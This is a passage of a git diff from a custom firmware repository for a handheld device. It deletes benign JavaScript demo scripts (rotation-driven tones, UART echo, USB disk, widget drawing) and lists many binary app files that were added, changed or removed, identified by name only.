RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.js +++ /dev/null @@ -1,38 +0,0 @@ -let vgm = require("vgm"); -let __dirpath = "/ext/apps/Scripts"; -let speaker = load(__dirpath + "/speaker_api.js"); - -let min_delta_angle = 29.98; -let max_wait_ms = 10000; -let freq_hz = 440; - -//Uncomment below to test for various test cases... -//print(vgm.deltaYaw("30.312", 1000)); // Invalid arg (angle). -//print(vgm.deltaYaw()); // Invalid args. Pass (angle, [timeout]). Got 0 args. -//print(vgm.deltaYaw(1,2,3)); // Invalid args. Pass (angle, [timeout]). Got 3 args. -//print(vgm.deltaYaw(29.98, 1000)); // This should work fine. - -// Show the pitch, roll, and yaw values for 5 seconds -for (let i = 0; i < 5; i++) { - print("P", vgm.getPitch(), "R", vgm.getRoll(), "Y", vgm.getYaw()); - delay(1000); -} - -// Play a sound that changes pitch based on yaw -for (let i = 0; i < 500; i++) { - print("Freq", freq_hz, "Hz"); - speaker.play(freq_hz, 1.0, 250); - - let delta = vgm.deltaYaw(min_delta_angle, max_wait_ms); - if (delta === undefined) { - print("No VGM detected. Exiting..."); - break; - } - delta /= (min_delta_angle / 1.02); - - if (delta > 0) { - freq_hz *= delta; - } else if (delta < 0) { - freq_hz /= -delta; - } -} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_native_jamisonderek.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_native_jamisonderek.js deleted file mode 100644 index 9458a6069..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_native_jamisonderek.js +++ /dev/null @@ -1,40 +0,0 @@ -let vgm = require("vgm"); -//The pre-built vgm exposes a .play function, so we don't need the speaker_api.js file. -//let __dirpath = "/ext/apps/Scripts"; -//let speaker = load(__dirpath + "/speaker_api.js"); - -let min_delta_angle = 29.98; -let max_wait_ms = 10000; -let freq_hz = 440; - -//Uncomment below to test for various test cases... -//print(vgm.deltaYaw("30.312", 1000)); // Invalid arg (angle). -//print(vgm.deltaYaw()); // Invalid args. Pass (angle, [timeout]). Got 0 args. -//print(vgm.deltaYaw(1,2,3)); // Invalid args. Pass (angle, [timeout]). Got 3 args. -//print(vgm.deltaYaw(29.98, 1000)); // This should work fine. - -// Show the pitch, roll, and yaw values for 5 seconds -for (let i = 0; i < 3; i++) { - print("P", vgm.getPitch(), "R", vgm.getRoll(), "Y", vgm.getYaw()); - delay(1000); -} - -// Play a sound that changes pitch based on yaw -for (let i = 0; i < 500; i++) { - print("Freq", freq_hz, "Hz"); - // speaker.play(freq_hz, 1.0, 250); - vgm.play(freq_hz, 1.0, 250); - - let delta = vgm.deltaYaw(min_delta_angle, max_wait_ms); - if (delta === undefined) { - print("No VGM detected. Exiting..."); - break; - } - delta /= (min_delta_angle / 1.02); - - if (delta > 0) { - freq_hz *= delta; - } else if (delta < 0) { - freq_hz /= -delta; - } -} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/uart_echo.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/uart_echo.js deleted file mode 100644 index 1cc0d8e62..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/uart_echo.js +++ /dev/null @@ -1,14 +0,0 @@ -let serial = require("serial"); -serial.setup("usart", 230400); - -while (1) { - let rx_data = serial.readBytes(1, 0); - if (rx_data !== undefined) { - serial.write(rx_data); - let data_view = Uint8Array(rx_data); - print("0x" + to_hex_string(data_view[0])); - } -} - -// There's also serial.end(), so you can serial.setup() again in same script -// You can also use serial.readAny(timeout), will avoid starving your loop with single byte reads diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/usbdisk.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/usbdisk.js deleted file mode 100644 index df9b1ab3e..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/usbdisk.js +++ /dev/null @@ -1,13 +0,0 @@ -let usbdisk = require("usbdisk"); -let image = "/ext/apps_assets/mass_storage/test.img"; -// print("Creating image..."); -// usbdisk.createImage("/ext/apps_data/mass_storage/128MB.img", 128 * 1024 * 1024); -print("Starting UsbDisk..."); -usbdisk.start(image); -print("Started, waiting until ejected..."); -while (!usbdisk.wasEjected()) { - delay(1000); -} -print("Ejected, stopping UsbDisk..."); -usbdisk.stop(); -print("Done"); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget-js.fxbm b/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget-js.fxbm deleted file mode 100644 index 9ba5783ce..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget-js.fxbm and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget.js deleted file mode 100644 index 4ff11e441..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget.js +++ /dev/null @@ -1,59 +0,0 @@ -let widget = require("widget"); - -let demo_seconds = 30; - -print("Loading file", __filepath); -print("From directory", __dirpath); - -// addText supports "Primary" and "Secondary" font sizes. -widget.addText(10, 10, "Primary", "Example JS widget"); -widget.addText(10, 20, "Secondary", "Example widget from JS!"); - -// load a Xbm file from the same directory as this script. -widget.addText(0, 30, "Secondary", __filepath); -let logo = widget.loadImageXbm(__dirpath + "/widget-js.fxbm"); - -// add a line (x1, y1, x2, y2) -widget.addLine(10, 35, 120, 35); - -// add a circle/disc (x, y, radius) -widget.addCircle(12, 52, 10); -widget.addDisc(12, 52, 5); - -// add a frame/box (x, y, width, height) -widget.addFrame(30, 45, 10, 10); -widget.addBox(32, 47, 6, 6); - -// add a rounded frame/box (x, y, width, height, radius) -widget.addRframe(50, 45, 15, 15, 3); -widget.addRbox(53, 48, 6, 6, 2); - -// add a dot (x, y) -widget.addDot(100, 45); -widget.addDot(102, 44); -widget.addDot(104, 43); - -// add a glyph (x, y, glyph) -widget.addGlyph(115, 50, "#".charCodeAt(0)); - -// Show the widget (drawing the layers in the orderer they were added) -widget.show(); - -let i = 1; -let bitmap = undefined; -while (widget.isOpen() && i <= demo_seconds) { - // Print statements will only show up once the widget is closed. - print("count is at", i++); - - // You can call remove on any added item, it does not impact the other ids. - if (bitmap) { widget.remove(bitmap); bitmap = undefined; } - // All of the addXXX functions return an id that can be used to remove the item. - else { bitmap = widget.addXbm(77, 45, logo); } - - delay(1000); -} - -// If user did not press the back button, close the widget. -if (widget.isOpen()) { - widget.close(); -} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/about.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/about.fap index 2bb0adf7d..4d51b1044 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/about.fap and b/Applications/Custom (UL, RM)/RogueMaster/Settings/about.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/animation_switcher.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/animation_switcher.fap new file mode 100644 index 000000000..cbee2e492 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/animation_switcher.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/bt_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/bt_settings.fap index 7544c8811..17dac437e 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/bt_settings.fap and b/Applications/Custom (UL, RM)/RogueMaster/Settings/bt_settings.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/cfw.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/cfw.fap index c6e1d78ba..51ab86790 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/cfw.fap and b/Applications/Custom (UL, RM)/RogueMaster/Settings/cfw.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/desktop_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/desktop_settings.fap index eb3c69908..683aae395 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/desktop_settings.fap and b/Applications/Custom (UL, RM)/RogueMaster/Settings/desktop_settings.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/namechanger.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/namechanger.fap index 09e76a16f..856f1eda4 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/namechanger.fap and b/Applications/Custom (UL, RM)/RogueMaster/Settings/namechanger.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/notification_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/notification_settings.fap index a3057d34e..90053bf77 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/notification_settings.fap and b/Applications/Custom (UL, RM)/RogueMaster/Settings/notification_settings.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/passport.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/passport.fap index 8d1d2b5c8..46bd96016 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/passport.fap and b/Applications/Custom (UL, RM)/RogueMaster/Settings/passport.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/power_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/power_settings.fap index 991dce774..6e1fa6895 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/power_settings.fap and b/Applications/Custom (UL, RM)/RogueMaster/Settings/power_settings.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/storage_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/storage_settings.fap index 5870a5b33..d1c74e2aa 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/storage_settings.fap and b/Applications/Custom (UL, RM)/RogueMaster/Settings/storage_settings.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/theme_manager.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/theme_manager.fap new file mode 100644 index 000000000..1bab1d28b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/theme_manager.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/chief_cooker.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/chief_cooker.fap index c8a39479f..e1f005cb5 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/chief_cooker.fap and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/chief_cooker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/clayloop.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/clayloop.fap new file mode 100644 index 000000000..cb7af37ff Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/clayloop.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/fmf_to_sub.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/fmf_to_sub.fap index 891463475..b3c6fbc8c 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/fmf_to_sub.fap and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/fmf_to_sub.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/freq_analyzer_ext.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/freq_analyzer_ext.fap index 65b3768ac..f18119462 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/freq_analyzer_ext.fap and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/freq_analyzer_ext.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/genie_record.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/genie_record.fap index 736d1fe1a..0e37e25d0 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/genie_record.fap and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/genie_record.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/meal_pager.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/meal_pager.fap index d87491978..a84a68cc3 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/meal_pager.fap and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/meal_pager.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/openshock_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/openshock_app.fap new file mode 100644 index 000000000..c7cffca88 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/openshock_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/pocsag_pager.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/pocsag_pager.fap index 5fac78e66..96057bce6 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/pocsag_pager.fap and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/pocsag_pager.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/proto_pirate.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/proto_pirate.fap index 05f8b56e2..409c08963 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/proto_pirate.fap and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/proto_pirate.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/rolling_flaws.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/rolling_flaws.fap index 4305d5b9b..f31b2fede 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/rolling_flaws.fap and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/rolling_flaws.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/rs41_tracker.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/rs41_tracker.fap new file mode 100644 index 000000000..0f4d2457f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/rs41_tracker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/sub_analyzer.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/sub_analyzer.fap index 8dbc14fbf..b144aaf18 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/sub_analyzer.fap and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/sub_analyzer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/sub_dup_finder.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/sub_dup_finder.fap new file mode 100644 index 000000000..87d11151a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/sub_dup_finder.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_jammer_detect.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_jammer_detect.fap new file mode 100644 index 000000000..2dcabfdc5 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_jammer_detect.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_playlist_creator.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_playlist_creator.fap index bcce333fc..5604a5814 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_playlist_creator.fap and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_playlist_creator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap index 84daa22bc..0681aaf6b 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_scheduler.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_scheduler.fap index 452e591da..9d429c5fd 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_scheduler.fap and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_scheduler.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_spectrum.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_spectrum.fap new file mode 100644 index 000000000..1bcf2a992 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_spectrum.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_test.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_test.fap index 0ee7b6215..3fd353317 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_test.fap and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_test.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_toolkit.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_toolkit.fap index e36f7f4e9..6b5aab0fb 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_toolkit.fap and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_toolkit.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/tpms.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/tpms.fap index aa8370f2a..6868767c6 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/tpms.fap and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/tpms.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/weather_station.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/weather_station.fap index a00ff3bbf..871d129e6 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/weather_station.fap and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/weather_station.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/c_book.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/c_book.fap index f8c1d2700..c0365a638 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/c_book.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/c_book.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/crypto_dict.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/crypto_dict.fap index c3569214f..03c21272d 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/crypto_dict.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/crypto_dict.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/fap_boilerplate.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/fap_boilerplate.fap index c2d7836b9..13e1bde35 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/fap_boilerplate.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/fap_boilerplate.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/barcode_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/barcode_app.fap index cdc1da04e..a1c063042 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/barcode_app.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/barcode_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/blackjack_counter_21.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/blackjack_counter_21.fap index 7d04f2b5a..9bcb7af0c 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/blackjack_counter_21.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/blackjack_counter_21.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/brainfuck.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/brainfuck.fap index 5ff42e12b..857bfbb87 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/brainfuck.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/brainfuck.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/can_tools.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/can_tools.fap index 81e62f480..6b4c9b457 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/can_tools.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/can_tools.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/combo_cracker.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/combo_cracker.fap index ac4a5fef8..9c35fab5f 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/combo_cracker.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/combo_cracker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/docviewlite.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/docviewlite.fap index a8a12d4c6..ed5c178ba 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/docviewlite.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/docviewlite.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/enigma.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/enigma.fap index 06094d6e8..189fb1bdf 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/enigma.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/enigma.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/f0forth.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/f0forth.fap index 617cc08db..635d892bc 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/f0forth.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/f0forth.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/fast_js_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/fast_js_app.fap deleted file mode 100644 index 593245b23..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/fast_js_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flip_crypt.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flip_crypt.fap index 58573bd57..9efeda7fc 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/flip_crypt.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/flip_crypt.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipbip.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipbip.fap index f629513e0..480da16ba 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipbip.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipbip.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper_printer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper_printer.fap index 7d184e1bd..7a22d7037 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper_printer.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper_printer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper_wedge.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper_wedge.fap index 47d1715b6..9b771e3a6 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper_wedge.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper_wedge.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipperpwn.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipperpwn.fap new file mode 100644 index 000000000..7721e4cba Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipperpwn.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_viewer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_viewer.fap index 56b588971..c1a37ba7e 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_viewer.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_viewer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/id_card.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/id_card.fap index 91562a2f9..3ebb62273 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/id_card.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/id_card.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/key_copier.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/key_copier.fap index aba6ee841..84666ec8a 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/key_copier.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/key_copier.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/lishi.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/lishi.fap index 1e04b75da..6f6324fd7 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/lishi.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/lishi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/multitimer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/multitimer.fap index 7ac92f85e..8d3ff833d 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/multitimer.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/multitimer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/notes.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/notes.fap index 79fe7af2a..b9f4fb74c 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/notes.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/notes.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro_timer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro_timer.fap index 568a035d8..cddbde585 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro_timer.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro_timer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/qrcode_generator.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/qrcode_generator.fap index 7ca14a918..90b9cf472 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/qrcode_generator.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/qrcode_generator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/quac.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/quac.fap index cfafd50b0..4088dc84b 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/quac.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/quac.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/resistance_calculator.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/resistance_calculator.fap index 7b1c28211..9e59320d5 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/resistance_calculator.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/resistance_calculator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/rot13.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/rot13.fap index 1b36103ff..372027ff6 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/rot13.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/rot13.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/rubiks_timer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/rubiks_timer.fap index 1fb2c71ec..8e2066373 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/rubiks_timer.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/rubiks_timer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/skeleton_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/skeleton_app.fap index 91dcd2112..85d1d826e 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/skeleton_app.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/skeleton_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/skid_city.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/skid_city.fap new file mode 100644 index 000000000..3249181b8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/skid_city.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/smartra.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/smartra.fap index e4cfd9976..3528a7dd3 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/smartra.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/smartra.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/spindle_calc.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/spindle_calc.fap new file mode 100644 index 000000000..e3bf9b7d4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/spindle_calc.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/tasks.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/tasks.fap index 7d58d106a..f737becd8 100644 